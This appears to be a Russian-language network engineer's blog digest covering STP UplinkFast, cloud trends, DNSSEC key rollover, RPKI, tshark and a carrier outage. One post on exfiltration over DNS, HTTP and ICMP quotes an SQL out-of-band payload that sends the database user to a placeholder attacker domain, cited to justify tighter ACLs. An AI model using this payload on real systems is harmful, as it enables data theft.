Оцените костыль от Cisco. Когда срабатывает Uplinkfast в STP, CAM коммутаторов по прежнему помнит предыдущее состояние. Чтобы не ждать пока STP сойдётся стандартным способом, коммутатор который обрабатывает новое состояние начинает флудить в новый root порт кадрами в которых SRC MAC адреса из его CAM таблицы, а DST MAC - dummy multicast 0100.0ccd.cdcd. Итог, адреса переизучаются на новые порты и трафик начинает бежать быстрее чем STP обрабатает событие смены топологии.

Такое усложнение происходит почти всегда когда добавляется функционал сверху, чтобы улучшить текущее поведение (не архитектуру) и когда в архитектуре не заложено достаточно гибкости. Кстати поэтому многие протоколы так любят TLV формат.

Правильным путём пошли чуть позже в RSTP, реализовав переключение на Alternate port вместе с уведомлением об изменении топологии. Uplinkfast ушёл в прошлое, наверное. (X)STP во всех его вариантах ещё нет, а может и вообще нет, но хотя бы по умолчанию включен обычно RSTP, что не так плохо.

Оптимистичная статья-рассуждения Daniel Dib о перспективах сетевика в виртуальном мире облаков. Если вы настраиваете не только виланы на определённой модели коммутаторов то скорее всего никуда не денетесь, даже если всё уйдёт в облака. Остануться всемирные сети - WAN, тот самый Интернет, WiFi, TCP/IP.

Но с другой стороны что если не всё уйдёт в облако, а всё само станет облаком, гигантский всемирный компьютер, вместо ИнтерНет - ИнтерЭВМ. Протоколы превратятся в API межпроцессного взаимодействия и полностью уйдут программистам. То что останется внутри будет на совести вендоров, как это сейчас произошло с суперскалярной архитектурой процессоров, где даже ассемблер всего лишь небольшое подмножество доступных методов из всего набора скрытых внутри чипа. Техническое развитие движется по пути упрощения и доступности потребителю. Конечная точка - включил и всё работает сразу, даже на уровне магистралей, даже на самом низком и профессиональном уровне.

Сети становятся умнее, языки программирования становятся умнее, большая часть работы уходит к компилятору или автогенератору настроек. Тем кто их пишет (а много ли таких людей?) беспокоится конечно не стоит. Многослойная и даже супермногослойная архитектура в итоге приводит к тому что нижний слой не требует обслуживания, даже если он и сбоит то верхние слои уже давно с этим смирились и решают проблему сами. Давно ли вы измеряли сопротивление терминатора на коаксиале, а напряжение на витой паре? А зачем?

Не упускайте момент, возможно уже и не стоит учить как настраивать вилан, скоро он сам будет настроен так как надо уже на заводе.

Интересный акцент именно на свободном ПО - в Росреестре сломался Ceph (вроде бы). То что всё может сломаться не новость, даже обыденность, но со свободным ПО есть особенность - часто позвонить некому, чтобы претензию предьявить. В пресс-релизе ничего про причины нет, так что всё на уровне слухов, как TAdviser и написал.

ssh-auditor, чтобы убедиться что какой-то из пользователей не забыл поставить на вход правильный пароль.

Десяток способов как легко передать данные c заражённой машины используя обычные протоколы: DNS, HTTP, ICMP. Это всё как правило разрешено, а без DPI и анализа совершенно не будет понятно что внутри передаются какие-то чувствительные данные.
В этом нет ничего необычного или сложного - прицепил к запросу DNS кодированную строку и всё, надо лишь правильно интерпретировать с другой стороны. Но признаться я не задумывался что такие же конструкции работают внутри SQL запросов:

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(CONCAT(user(),"\n"))), '.oob.dnsattacker.com\\test.txt'));

Появился повод пересмотреть ACL и список действительно необходимого для работы серверов.

Сегодня во всех новостях, с утра даже по радио проскочило.

Яндекс запустил свое облако, с их слов стоимость виртуальной машины начинается от 220 рублей в месяц, а при первой регистрации на счёт падает 4к рублей... Надо бы попробовать между делом...

P.S. У mail ru кстати говоря есть аналогичный сервис, но их цены меня как-то не порадовали..
https://cloud.yandex.ru

IANA всё ещё доскребает по сусекам. RIPE тоже получил свои крохи, хватит на одного нового LIR по текущей политике распределения.

Книга про DNS. Не только про конкретные DNS, альтернативные в данном случае не BIND. А про то что делать и как работать с DNS в целом, на примере конкретно взятых DNS серверов.

И всё-таки это красиво. Девиация профессиональная конечно, но красиво.

В этом году ICANN всё же более отвественно подошла к процессу KSK rollover. Была выполнена выборка на предмет обращений к DNSSEC со старым ключём. Операторы IP которых были в этом замечены получили соответстующее письмо на адреса указанные в IRR. Хорошие операторы наверное не получили :) а плохие, как мы, получили.

Вся выборка содержит 21918 ASn, 162614 IPv6 адресов и 1188586 IPv4. Для нашей сети туда попали только абонентские устройства (для многих других сетей скорее всего тоже), но вообще это достаточно чувствительные данные на мой взгляд - одним списком потенциальные DNS серверы во всём мире.

Для спокойствия можно выполнить проверку и посмореть использует ли провайдер DNSSEC впринципе, т.е. стоит ли беспокоиться о возможных проблемах:

dig @dns.yandex.ru dnssec-failed.org a +dnssec | grep HEADER
;; -HEADER- opcode: QUERY, status: NOERROR, id: 47838

dig @8.8.8.8 dnssec-failed.org a +dnssec | grep HEADER
;; -HEADER- opcode: QUERY, status: SERVFAIL, id: 3549

Пользователям Yandex не стоит, а пользователям Google можно надеяться что админы всё сделали правильно и после 11 октября ничего не сломается.

Чем посмотреть структуру диска в Linux. Не часто такое приходится делать, современные файловые системы одеяло на себе перетащили да и LVM никто не отменял. Но во время старта новой системы без базового понимания разделов диска никуда.

VPN с правильной подачей, да ещё под крылом RIPE NCC с прицелом именно для Интернет провайдеров.

Так-то для провайдеров в России VPN не что-то новое или сложное в установке. Есть много провайдеров которые используют VPN технологии как способ аутентификации пользователя внутри своей сети. И видимо, такой способ как раз ввиду простоты настройки появился или в силу L3 дизайна, где с PPPoE сложно развернуться.

А вот чтобы VPN был с другой стороны, т.е. обеспечить своим пользователям безопасный (приватный) канал в публичных сетях я что-то не видел. Даже те кто имеет свою сеть Wi-Fi хотспотов не утруждают себя этим. Даже шифрованием не утруждают - проверяют только права доступа и иногда для своих клиентов скорость выше делают чем гостям.

Хороший посыл, уже есть предварительные версии приложения для популярных ОС, есть действительно простая инструкция по установке, есть GitHub если хочется погрузиться в детали реализации. Внутри OpenVPN и обещают WireGuard.

Ждём пока провайдеры позаботятся о своих абонентах не только в своих сетях, VPN он же не для аутентификации и не для того чтобы блокировочки обходить.

Двоичный счётчик, фактически сумматор, на 6 разрядов - механический!

​Если хочется... точнее не хочется покидать родную Cisco консоль. Используем TCL чтобы сделать файл и verify /md5 чтобы посчитать его хэш. Получилось небезопасно и долго, но зато весело.
Но сами по себе парольные линки для протоколов это очень правильно, даже если быть на 200% уверенным. Даже если всё только внутри сети, не говоря уже про BGP пиринг. Хотя это и сильно не частое явление надо себе перебарывать и включать, и партнёров настойчиво просить делать то же.

Cisco сайтик агрегатор сделала для EVPN https://e-vpn.io - пока там не так много всего: кроме полного списка стандартов и драфтов ещё пару презентаций и пару документов с примерами настроек. Но наверное будет больше.

Я провожу относительно много времени в консоли Linux, но я там не работаю как бы это странно не звучало. Поэтому я обычно не занимаюсь тюнингом, по крайней мере не трачу на него много времени: 5-10 минут на новом сервере - и в общем достаточно сильно отстал от последних веяний.
Современная консоль должна быть современной, для чего надо включить как минимум powerline и tmux.

На прошлой неделе опубликован черновик стандарта BGP Route Origin Validation. Документ представляет собой достаточно объёмные рекомендации и разъяснения, примеры конфигурации как организовать проверку маршрутов используя RPKI на своей инфраструктуре. Сейчас стадия обсуждения - можно послать свои предложения и комментарии.
На самом деле кто хочет тот уже использует подобные проверки, точно внедрили как минимум эти участники сети https://rov.rpki.net/ (обзорная статья про ресурс на labs.ripe.net). Но начать стоит не с этого, начать надо с заведения ROA записи, так как пока больше 90% маршрутов её не имеют, следовательно любые проверки практически бессмысленны.

Wireshark в своей консольной реализации называется Tshark. Несколько практических примеров работы с данной утилитой: захват, фильтрация, организация вывода.

У программистов есть методика - разработка через тестирование TDD, когда сначала у тебя всё сломано и ты это в процессе программирования чинишь. Это неплохо ложится и на другие аспекты в IT, как минимум. И даже больше, многие так только и делают не задумываясь об этом.
Например, сначала у нас нет защиты от проникновения. Мы сами себя для этого ломаем, а потом то что сломали закрываем. Итог сильно зависит от того какой из нас хакер, но опыт наверное подрастёт в процессе. Инструментов чтобы ломать вокруг достаточно, можно например Sn1per пострелять и посмотреть что получится.

​Вчера был день аварий - Yandex почта и Viber не работали. Наверняка если вы даже и не лично испытали это на себе то информационных шум был достаточный. Но это не всё, вчера порядка 6 часов Мегафон, та его часть которая предоставляет доступ для операторов связи, тоже не работал. Затронуло очень многих операторов в России тех кто пользуется данной услугой.

Если вы об этом не слышали и не почувствовали - это нормально, но это не заслуга Мегафона это заслуга вашего провайдера у которого имеются необходимые резервы. Downdetector, кстати заметил.

Развитие событий отражённое в RTT до Youtube:
1. Сначала всё сломалось около часа дня. С задержками 240мс и потерями в 80% работать невозможно.
2. Через два часа собрали резерв. Частично восстановили то что сломалось или поняли что не успевают, стало более менее.
3. Около 7 вечера состояние аварии закончилась.

Можно сравнить с тем что было 16 апреля и сейчас тоже был двойной обрыв, других не бывает. Аварии это не страшно это практика эксплуатации. Единственное на что можно попенять это публичность, насколько могу судить, никто не удосужился рассказать об авариях на своих ресурсах.